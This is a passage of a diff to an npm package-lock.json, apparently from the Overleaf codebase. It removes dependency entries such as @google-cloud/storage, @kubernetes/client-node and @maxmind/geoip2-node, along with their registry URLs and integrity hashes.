"https://registry.npmjs.org/object.assign/-/object.assign-4.1.0.tgz", +- "integrity": "sha512-exHJeq6kBKj58mqGyTQ9DFvrZC/eR6OwxzoM9YRoGBqrXYonaFyGiFMuc9VZrXf7DarreEwMpurG3dd+CNyW5w==", +- "dev": true, +- "dependencies": { +- "define-properties": "^1.1.2", +- "function-bind": "^1.1.1", +- "has-symbols": "^1.0.0", +- "object-keys": "^1.0.11" +- }, +- "engines": { +- "node": ">= 0.4" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/p-limit": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", +- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", +- "dev": true, +- "dependencies": { +- "p-try": "^2.0.0" +- }, +- "engines": { +- "node": ">=6" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/p-locate": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz", +- "integrity": "sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==", +- "dev": true, +- "dependencies": { +- "p-limit": "^2.0.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/path-exists": { +- "version": "3.0.0", +- "resolved": "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz", +- "integrity": "sha1-zg6+ql94yxiSXqfYENe1mwEP1RU=", +- "dev": true, +- "engines": { +- "node": ">=4" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/string-width": { +- "version": "3.1.0", +- "resolved": "https://registry.npmjs.org/string-width/-/string-width-3.1.0.tgz", +- "integrity": "sha512-vafcv6KjVZKSgz06oM/H6GDBrAtz8vdhQakGjFIvNrHA6y3HCF1CInLy+QLq8dTJPQ1b+KDUqDFctkdRW44e1w==", +- "dev": true, +- "dependencies": { +- "emoji-regex": "^7.0.1", +- "is-fullwidth-code-point": "^2.0.0", +- "strip-ansi": "^5.1.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/strip-ansi": { +- "version": "5.2.0", +- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-5.2.0.tgz", +- "integrity": "sha512-DuRs1gKbBqsMKIZlrffwlug8MHkcnpjs5VPmL1PAh+mA30U0DTotfDZ0d2UUsXpPmPmMMJ6W773MaA3J+lbiWA==", +- "dev": true, +- "dependencies": { +- "ansi-regex": "^4.1.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/strip-json-comments": { +- "version": "2.0.1", +- "resolved": "https://registry.npmjs.org/strip-json-comments/-/strip-json-comments-2.0.1.tgz", +- "integrity": "sha1-PFMZQukIwml8DsNEhYwobHygpgo=", +- "dev": true, +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/supports-color": { +- "version": "6.0.0", +- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-6.0.0.tgz", +- "integrity": "sha512-on9Kwidc1IUQo+bQdhi8+Tijpo0e1SS6RoGo2guUwn5vdaxw8RXOF9Vb2ws+ihWOmh4JnCJOvaziZWP1VABaLg==", +- "dev": true, +- "dependencies": { +- "has-flag": "^3.0.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/type-detect": { +- "version": "1.0.0", +- "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-1.0.0.tgz", +- "integrity": "sha1-diIXzAbbJY7EiQihKY6LlRIejqI=", +- "dev": true, +- "engines": { +- "node": "*" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/which": { +- "version": "1.3.1", +- "resolved": "https://registry.npmjs.org/which/-/which-1.3.1.tgz", +- "integrity": "sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==", +- "dev": true, +- "dependencies": { +- "isexe": "^2.0.0" +- }, +- "bin": { +- "which": "bin/which" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/wrap-ansi": { +- "version": "5.1.0", +- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-5.1.0.tgz", +- "integrity": "sha512-QC1/iN/2/RPVJ5jYK8BGttj5z83LmSKmvbvrXPNCLZSEb32KKVDJDl/MOt2N01qU2H/FkzEa9PKto1BqDjtd7Q==", +- "dev": true, +- "dependencies": { +- "ansi-styles": "^3.2.0", +- "string-width": "^3.0.0", +- "strip-ansi": "^5.0.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/y18n": { +- "version": "4.0.3", +- "resolved": "https://registry.npmjs.org/y18n/-/y18n-4.0.3.tgz", +- "integrity": "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ==", +- "dev": true +- }, +- "libraries/overleaf-editor-core/node_modules/yargs": { +- "version": "13.3.2", +- "resolved": "https://registry.npmjs.org/yargs/-/yargs-13.3.2.tgz", +- "integrity": "sha512-AX3Zw5iPruN5ie6xGRIDgqkT+ZhnRlZMLMHAs8tg7nRruy2Nb+i5o9bwghAogtM08q1dpr2LVoS8KSTMYpWXUw==", +- "dev": true, +- "dependencies": { +- "cliui": "^5.0.0", +- "find-up": "^3.0.0", +- "get-caller-file": "^2.0.1", +- "require-directory": "^2.1.1", +- "require-main-filename": "^2.0.0", +- "set-blocking": "^2.0.0", +- "string-width": "^3.0.0", +- "which-module": "^2.0.0", +- "y18n": "^4.0.0", +- "yargs-parser": "^13.1.2" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/yargs-parser": { +- "version": "13.1.2", +- "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-13.1.2.tgz", +- "integrity": "sha512-3lbsNRf/j+A4QuSZfDRA7HRSfWrzO0YjqTJd5kjAq37Zep1CEgaYmrH9Q3GwPiB9cHyd1Y1UwggGhJGoxipbzg==", +- "dev": true, +- "dependencies": { +- "camelcase": "^5.0.0", +- "decamelize": "^1.2.0" +- } +- }, +- "libraries/overleaf-editor-core/node_modules/yargs-unparser": { +- "version": "1.6.0", +- "resolved": "https://registry.npmjs.org/yargs-unparser/-/yargs-unparser-1.6.0.tgz", +- "integrity": "sha512-W9tKgmSn0DpSatfri0nx52Joq5hVXgeLiqR/5G0sZNDoLZFOr/xjBUDcShCOGNsBnEMNo1KAMBkTej1Hm62HTw==", +- "dev": true, +- "dependencies": { +- "flat": "^4.1.0", +- "lodash": "^4.17.15", +- "yargs": "^13.3.0" +- }, +- "engines": { +- "node": ">=6" +- } +- }, + "libraries/overleaf-error-type": { + "version": "1.0.0", + "extraneous": true, +@@ -945,15 +456,8 @@ + "node_modules/@auth0/thumbprint": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/@auth0/thumbprint/-/thumbprint-0.0.6.tgz", +- "integrity": "sha1-yrEGLGwEZizmxZLUgVfsQmiuhRg=" +- }, +- "node_modules/@auth0/xmldom": { +- "version": "0.1.21", +- "resolved": "https://registry.npmjs.org/@auth0/xmldom/-/xmldom-0.1.21.tgz", +- "integrity": "sha512-//QqjkvBknF7j0Nf205o5wgUMnq8ioHHxEr61OZQ3J0RXGFvs2rb5GLZ8jdNxMqYz4n/PEsbFIQL5RHBixxq5g==", +- "engines": { +- "node": ">=0.1" +- } ++ "integrity": "sha1-yrEGLGwEZizmxZLUgVfsQmiuhRg=", ++ "dev": true + }, + "node_modules/@babel/cli": { + "version": "7.16.8", +@@ -2988,46 +2492,6 @@ + "node": "*" + } + }, +- "node_modules/@google-cloud/bigquery": { +- "version": "5.10.0", +- "resolved": "https://registry.npmjs.org/@google-cloud/bigquery/-/bigquery-5.10.0.tgz", +- "integrity": "sha512-kHwPT3O5pihjlhZ4wpNElovv/RY2hyz5MdgON1UlwFM9bVA8kXqdUWS09owjVhHKaHqBxliUpG0DAwjrKHqY7Q==", +- "dependencies": { +- "@google-cloud/common": "^3.1.0", +- "@google-cloud/paginator": "^3.0.0", +- "@google-cloud/promisify": "^2.0.0", +- "arrify": "^2.0.1", +- "big.js": "^6.0.0", +- "duplexify": "^4.0.0", +- "extend": "^3.0.2", +- "is": "^3.3.0", +- "p-event": "^4.1.0", +- "stream-events": "^1.0.5", +- "uuid": "^8.0.0" +- }, +- "engines": { +- "node": ">=10" +- } +- }, +- "node_modules/@google-cloud/bigquery/node_modules/duplexify": { +- "version": "4.1.2", +- "resolved": "https://registry.npmjs.org/duplexify/-/duplexify-4.1.2.tgz", +- "integrity": "sha512-fz3OjcNCHmRP12MJoZMPglx8m4rrFP8rovnk4vT8Fs+aonZoCwGg10dSsQsfP/E62eZcPTMSMP6686fu9Qlqtw==", +- "dependencies": { +- "end-of-stream": "^1.4.1", +- "inherits": "^2.0.3", +- "readable-stream": "^3.1.1", +- "stream-shift": "^1.0.0" +- } +- }, +- "node_modules/@google-cloud/bigquery/node_modules/uuid": { +- "version": "8.3.2", +- "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", +- "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", +- "bin": { +- "uuid": "dist/bin/uuid" +- } +- }, + "node_modules/@google-cloud/common": { + "version": "3.9.0", + "resolved": "https://registry.npmjs.org/@google-cloud/common/-/common-3.9.0.tgz", +@@ -3291,287 +2755,6 @@ + "node": ">=10" + } + }, +- "node_modules/@google-cloud/storage": { +- "version": "4.7.2", +- "resolved": "https://registry.npmjs.org/@google-cloud/storage/-/storage-4.7.2.tgz", +- "integrity": "sha512-nlXYhJyC6ErFQX34tMLruknJ9fljN3JepgXEC9MZlQ64/2h9Ee8MJ7FCowdBnTiZ863IkbvctWtNZRrSxfyqSQ==", +- "dependencies": { +- "@google-cloud/common": "^2.1.1", +- "@google-cloud/paginator": "^2.0.0", +- "@google-cloud/promisify": "^1.0.0", +- "arrify": "^2.0.0", +- "compressible": "^2.0.12", +- "concat-stream": "^2.0.0", +- "date-and-time": "^0.14.2", +- "duplexify": "^3.5.0", +- "extend": "^3.0.2", +- "gaxios": "^3.0.0", +- "gcs-resumable-upload": "^2.2.4", +- "hash-stream-validation": "^0.2.2", +- "mime": "^2.2.0", +- "mime-types": "^2.0.8", +- "onetime": "^5.1.0", +- "p-limit": "^2.2.0", +- "pumpify": "^2.0.0", +- "readable-stream": "^3.4.0", +- "snakeize": "^0.1.0", +- "stream-events": "^1.0.1", +- "through2": "^3.0.0", +- "xdg-basedir": "^4.0.0" +- }, +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/@google-cloud/common": { +- "version": "2.4.0", +- "resolved": "https://registry.npmjs.org/@google-cloud/common/-/common-2.4.0.tgz", +- "integrity": "sha512-zWFjBS35eI9leAHhjfeOYlK5Plcuj/77EzstnrJIZbKgF/nkqjcQuGiMCpzCwOfPyUbz8ZaEOYgbHa759AKbjg==", +- "dependencies": { +- "@google-cloud/projectify": "^1.0.0", +- "@google-cloud/promisify": "^1.0.0", +- "arrify": "^2.0.0", +- "duplexify": "^3.6.0", +- "ent": "^2.2.0", +- "extend": "^3.0.2", +- "google-auth-library": "^5.5.0", +- "retry-request": "^4.0.0", +- "teeny-request": "^6.0.0" +- }, +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/@google-cloud/paginator": { +- "version": "2.0.3", +- "resolved": "https://registry.npmjs.org/@google-cloud/paginator/-/paginator-2.0.3.tgz", +- "integrity": "sha512-kp/pkb2p/p0d8/SKUu4mOq8+HGwF8NPzHWkj+VKrIPQPyMRw8deZtrO/OcSiy9C/7bpfU5Txah5ltUNfPkgEXg==", +- "dependencies": { +- "arrify": "^2.0.0", +- "extend": "^3.0.2" +- }, +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/@google-cloud/projectify": { +- "version": "1.0.4", +- "resolved": "https://registry.npmjs.org/@google-cloud/projectify/-/projectify-1.0.4.tgz", +- "integrity": "sha512-ZdzQUN02eRsmTKfBj9FDL0KNDIFNjBn/d6tHQmA/+FImH5DO6ZV8E7FzxMgAUiVAUq41RFAkb25p1oHOZ8psfg==", +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/@google-cloud/promisify": { +- "version": "1.0.4", +- "resolved": "https://registry.npmjs.org/@google-cloud/promisify/-/promisify-1.0.4.tgz", +- "integrity": "sha512-VccZDcOql77obTnFh0TbNED/6ZbbmHDf8UMNnzO1d5g9V0Htfm4k5cllY8P1tJsRKC3zWYGRLaViiupcgVjBoQ==", +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/date-and-time": { +- "version": "0.14.2", +- "resolved": "https://registry.npmjs.org/date-and-time/-/date-and-time-0.14.2.tgz", +- "integrity": "sha512-EFTCh9zRSEpGPmJaexg7HTuzZHh6cnJj1ui7IGCFNXzd2QdpsNh05Db5TF3xzJm30YN+A8/6xHSuRcQqoc3kFA==" +- }, +- "node_modules/@google-cloud/storage/node_modules/gcp-metadata": { +- "version": "3.5.0", +- "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-3.5.0.tgz", +- "integrity": "sha512-ZQf+DLZ5aKcRpLzYUyBS3yo3N0JSa82lNDO8rj3nMSlovLcz2riKFBsYgDzeXcv75oo5eqB2lx+B14UvPoCRnA==", +- "dependencies": { +- "gaxios": "^2.1.0", +- "json-bigint": "^0.3.0" +- }, +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/gcp-metadata/node_modules/gaxios": { +- "version": "2.3.4", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz", +- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==", +- "dependencies": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^5.0.0", +- "is-stream": "^2.0.0", +- "node-fetch": "^2.3.0" +- }, +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/gcs-resumable-upload": { +- "version": "2.3.3", +- "resolved": "https://registry.npmjs.org/gcs-resumable-upload/-/gcs-resumable-upload-2.3.3.tgz", +- "integrity": "sha512-sf896I5CC/1AxeaGfSFg3vKMjUq/r+A3bscmVzZm10CElyRanN0XwPu/MxeIO4LSP+9uF6yKzXvNsaTsMXUG6Q==", +- "dependencies": { +- "abort-controller": "^3.0.0", +- "configstore": "^5.0.0", +- "gaxios": "^2.0.0", +- "google-auth-library": "^5.0.0", +- "pumpify": "^2.0.0", +- "stream-events": "^1.0.4" +- }, +- "bin": { +- "gcs-upload": "build/src/cli.js" +- }, +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/gcs-resumable-upload/node_modules/gaxios": { +- "version": "2.3.4", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz", +- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==", +- "dependencies": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^5.0.0", +- "is-stream": "^2.0.0", +- "node-fetch": "^2.3.0" +- }, +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/google-auth-library": { +- "version": "5.10.1", +- "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-5.10.1.tgz", +- "integrity": "sha512-rOlaok5vlpV9rSiUu5EpR0vVpc+PhN62oF4RyX/6++DG1VsaulAFEMlDYBLjJDDPI6OcNOCGAKy9UVB/3NIDXg==", +- "dependencies": { +- "arrify": "^2.0.0", +- "base64-js": "^1.3.0", +- "ecdsa-sig-formatter": "^1.0.11", +- "fast-text-encoding": "^1.0.0", +- "gaxios": "^2.1.0", +- "gcp-metadata": "^3.4.0", +- "gtoken": "^4.1.0", +- "jws": "^4.0.0", +- "lru-cache": "^5.0.0" +- }, +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/google-auth-library/node_modules/gaxios": { +- "version": "2.3.4", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz", +- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==", +- "dependencies": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^5.0.0", +- "is-stream": "^2.0.0", +- "node-fetch": "^2.3.0" +- }, +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/google-p12-pem": { +- "version": "2.0.5", +- "resolved": "https://registry.npmjs.org/google-p12-pem/-/google-p12-pem-2.0.5.tgz", +- "integrity": "sha512-7RLkxwSsMsYh9wQ5Vb2zRtkAHvqPvfoMGag+nugl1noYO7gf0844Yr9TIFA5NEBMAeVt2Z+Imu7CQMp3oNatzQ==", +- "dependencies": { +- "node-forge": "^0.10.0" +- }, +- "bin": { +- "gp12-pem": "build/src/bin/gp12-pem.js" +- }, +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/gtoken": { +- "version": "4.1.4", +- "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-4.1.4.tgz", +- "integrity": "sha512-VxirzD0SWoFUo5p8RDP8Jt2AGyOmyYcT/pOUgDKJCK+iSw0TMqwrVfY37RXTNmoKwrzmDHSk0GMT9FsgVmnVSA==", +- "dependencies": { +- "gaxios": "^2.1.0", +- "google-p12-pem": "^2.0.0", +- "jws": "^4.0.0", +- "mime": "^2.2.0" +- }, +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/gtoken/node_modules/gaxios": { +- "version": "2.3.4", +- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-2.3.4.tgz", +- "integrity": "sha512-US8UMj8C5pRnao3Zykc4AAVr+cffoNKRTg9Rsf2GiuZCW69vgJj38VK2PzlPuQU73FZ/nTk9/Av6/JGcE1N9vA==", +- "dependencies": { +- "abort-controller": "^3.0.0", +- "extend": "^3.0.2", +- "https-proxy-agent": "^5.0.0", +- "is-stream": "^2.0.0", +- "node-fetch": "^2.3.0" +- }, +- "engines": { +- "node": ">=8.10.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/json-bigint": { +- "version": "0.3.1", +- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-0.3.1.tgz", +- "integrity": "sha512-DGWnSzmusIreWlEupsUelHrhwmPPE+FiQvg+drKfk2p+bdEYa5mp4PJ8JsCWqae0M2jQNb0HPvnwvf1qOTThzQ==", +- "dependencies": { +- "bignumber.js": "^9.0.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/node-forge": { +- "version": "0.10.0", +- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz", +- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==", +- "engines": { +- "node": ">= 6.0.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/p-limit": { +- "version": "2.3.0", +- "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", +- "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", +- "dependencies": { +- "p-try": "^2.0.0" +- }, +- "engines": { +- "node": ">=6" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/teeny-request": { +- "version": "6.0.3", +- "resolved": "https://registry.npmjs.org/teeny-request/-/teeny-request-6.0.3.tgz", +- "integrity": "sha512-TZG/dfd2r6yeji19es1cUIwAlVD8y+/svB1kAC2Y0bjEyysrfbO8EZvJBRwIE6WkwmUoB7uvWLwTIhJbMXZ1Dw==", +- "dependencies": { +- "http-proxy-agent": "^4.0.0", +- "https-proxy-agent": "^5.0.0", +- "node-fetch": "^2.2.0", +- "stream-events": "^1.0.5", +- "uuid": "^7.0.0" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/through2": { +- "version": "3.0.2", +- "resolved": "https://registry.npmjs.org/through2/-/through2-3.0.2.tgz", +- "integrity": "sha512-enaDQ4MUyP2W6ZyT6EsMzqBPZaM/avg8iuo+l2d3QCs0J+6RaqkHV/2/lOwDTueBHeJ/2LG9lrLW3d5rWPucuQ==", +- "dependencies": { +- "inherits": "^2.0.4", +- "readable-stream": "2 || 3" +- } +- }, +- "node_modules/@google-cloud/storage/node_modules/uuid": { +- "version": "7.0.3", +- "resolved": "https://registry.npmjs.org/uuid/-/uuid-7.0.3.tgz", +- "integrity": "sha512-DPSke0pXhTZgoF/d+WSt2QaKMCFSfx7QegxEWT+JOuHF5aWrKEn0G+ztjuJg/gG8/ItK+rbPCD/yNv8yyih6Cg==", +- "bin": { +- "uuid": "dist/bin/uuid" +- } +- }, + "node_modules/@google-cloud/trace-agent": { + "version": "5.1.6", + "resolved": "https://registry.npmjs.org/@google-cloud/trace-agent/-/trace-agent-5.1.6.tgz", +@@ -3886,65 +3069,6 @@ + "integrity": "sha512-zMM9Ds+SawiUkakS7y94Ymqx+S0ORzpG3frZirN3l+UlXUmSUR7hF4wxCVqW+ei94JzV5kt0uXBcoOEAuiydrw==", + "dev": true + }, +- "node_modules/@kubernetes/client-node": { +- "version": "0.10.2", +- "resolved": "https://registry.npmjs.org/@kubernetes/client-node/-/client-node-0.10.2.tgz", +- "integrity": "sha512-JvsmxbTwiMqsh9LyuXMzT5HjoENFbB3a/JroJsobuAzkxN162UqAOvg++/AA+ccIMWRR2Qln4FyaOJ0a4eKyXg==", +- "dependencies": { +- "@types/js-yaml": "^3.12.1", +- "@types/node": "^10.12.0", +- "@types/request": "^2.47.1", +- "@types/underscore": "^1.8.9", +- "@types/ws": "^6.0.1", +- "isomorphic-ws": "^4.0.1", +- "js-yaml": "^3.13.1", +- "json-stream": "^1.0.0", +- "jsonpath-plus": "^0.19.0", +- "request": "^2.88.0", +- "shelljs": "^0.8.2", +- "tslib": "^1.9.3", +- "underscore": "^1.9.1", +- "ws": "^6.1.0" +- } +- }, +- "node_modules/@kubernetes/client-node/node_modules/@types/node": { +- "version": "10.17.60", +- "resolved": "https://registry.npmjs.org/@types/node/-/node-10.17.60.tgz", +- "integrity": "sha512-F0KIgDJfy2nA3zMLmWGKxcH2ZVEtCZXHHdOQs2gSaQ27+lNeEfGxzkIw90aXswATX7AZ33tahPbzy6KAfUreVw==" +- }, +- "node_modules/@kubernetes/client-node/node_modules/argparse": { +- "version": "1.0.10", +- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", +- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", +- "dependencies": { +- "sprintf-js": "~1.0.2" +- } +- }, +- "node_modules/@kubernetes/client-node/node_modules/js-yaml": { +- "version": "3.14.1", +- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", +- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", +- "dependencies": { +- "argparse": "^1.0.7", +- "esprima": "^4.0.0" +- }, +- "bin": { +- "js-yaml": "bin/js-yaml.js" +- } +- }, +- "node_modules/@kubernetes/client-node/node_modules/tslib": { +- "version": "1.14.1", +- "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz", +- "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg==" +- }, +- "node_modules/@kubernetes/client-node/node_modules/ws": { +- "version": "6.2.2", +- "resolved": "https://registry.npmjs.org/ws/-/ws-6.2.2.tgz", +- "integrity": "sha512-zmhltoSR8u1cnDsD43TX59mzoMZsLKqUweyYBAIvTngR3shc0W6aOZylZmq/7hqyVxPdi+5Ud2QInblgyE72fw==", +- "dependencies": { +- "async-limiter": "~1.0.0" +- } +- }, + "node_modules/@lezer/common": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@lezer/common/-/common-1.0.1.tgz", +@@ -4100,67 +3224,6 @@ + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + }, +- "node_modules/@maxmind/geoip2-node": { +- "version": "3.4.0", +- "resolved": "https://registry.npmjs.org/@maxmind/geoip2-node/-/geoip2-node-3.4.0.tgz", +- "integrity": "sha512-XBB+IJSXQRXXHBvwULZu2nOYAPuC0pc77xw/xkDo0cWkBO/L2rUMr+xKGZwj47mFBEiG6tnTMBzxJajEJTrKAg==", +- "dependencies": { +- "camelcase-keys": "^7.0.0", +- "ip6addr": "^0.2.5", +- "lodash.set": "^4.3.2", +- "maxmind": "^4.2.0" +- } +- }, +- "node_modules/@maxmind/geoip2-node/node_modules/camelcase-keys": { +- "version": "7.0.2", +- "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-7.0.2.tgz", +- "integrity": "sha512-Rjs1H+A9R+Ig+4E/9oyB66UC5Mj9Xq3N//vcLf2WzgdTi/3gUu3Z9KoqmlrEG4VuuLK8wJHofxzdQXz/knhiYg==", +- "dependencies": { +- "camelcase": "^6.3.0", +- "map-obj": "^4.1.0", +- "quick-lru": "^5.1.1", +- "type-fest": "^1.2.1" +- }, +- "engines": { +- "node": ">=12" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, +- "node_modules/@maxmind/geoip2-node/node_modules/map-obj": { +- "version": "4.3.0", +- "resolved": "https://registry.npmjs.org/map-obj/-/map-obj-4.3.0.tgz", +- "integrity": "sha512-hdN1wVrZbb29eBGiGjJbeP8JbKjq1urkHJ/LIP/NY48MZ1QVXUsQBV1G1zvYFHn1XE06cwjBsOI2K3Ulnj1YXQ==", +- "engines": { +- "node": ">=8" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, +- "node_modules/@maxmind/geoip2-node/node_modules/quick-lru": { +- "version": "5.1.1", +- "resolved": "https://registry.npmjs.org/quick-lru/-/quick-lru-5.1.1.tgz", +- "integrity": "sha512-WuyALRjWPDGtt/wzJiadO5AXY+8hZ80hVpe6MyivgraREW751X3SbhRvG3eLKOYN+8VEvqLcf3wdnt44Z4S4SA==", +- "engines": { +- "node": ">=10" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, +- "node_modules/@maxmind/geoip2-node/node_modules/type-fest": { +- "version": "1.4.0", +- "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-1.4.0.tgz", +- "integrity": "sha512-yGSza74xk0UG8k+pLh5oeoYirvIiWo5t0/o3zHHAO2tRDiZcxWP7fywNlXhqb6/r6sWvwi+RsyQMWhVLe4BVuA==", +- "engines": { +- "node": ">=10" +- }, +- "funding": { +- "url": "https://github.com/sponsors/sindresorhus" +- } +- }, + "node_modules/@nicolo-ribaudo/chokidar-2": { + "version": "2.1.8-no-fsevents.3", + "resolved": "https://registry.npmjs.org/@nicolo-ribaudo/chokidar-2/-/chokidar-2-2.1.8-no-fsevents.3.tgz", +@@ -4220,68 +3283,6 @@ + "node": ">= 8" + } + }, +- "node_modules/@octokit/endpoint": { +- "version": "6.0.12", +- "resolved": "https://registry.npmjs.org/@octokit/endpoint/-/endpoint-6.0.12.tgz", +- "integrity": "sha512-lF3puPwkQWGfkMClXb4k/eUT/nZKQfxinRWJrdZaJO85Dqwo/G0yOC434Jr2ojwafWJMYqFGFa5ms4jJUgujdA==", +- "dependencies": { +- "@octokit/types": "^6.0.3", +- "is-plain-object": "^5.0.0", +- "universal-user-agent": "^6.0.0" +- } +- }, +- "node_modules/@octokit/endpoint/node_modules/is-plain-object": { +- "version": "5.0.0", +- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz", +- "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q==", +- "engines": { +- "node": ">=0.10.0" +- } +- }, +- "node_modules/@octokit/openapi-types": { +- "version": "11.2.0", +- "resolved": 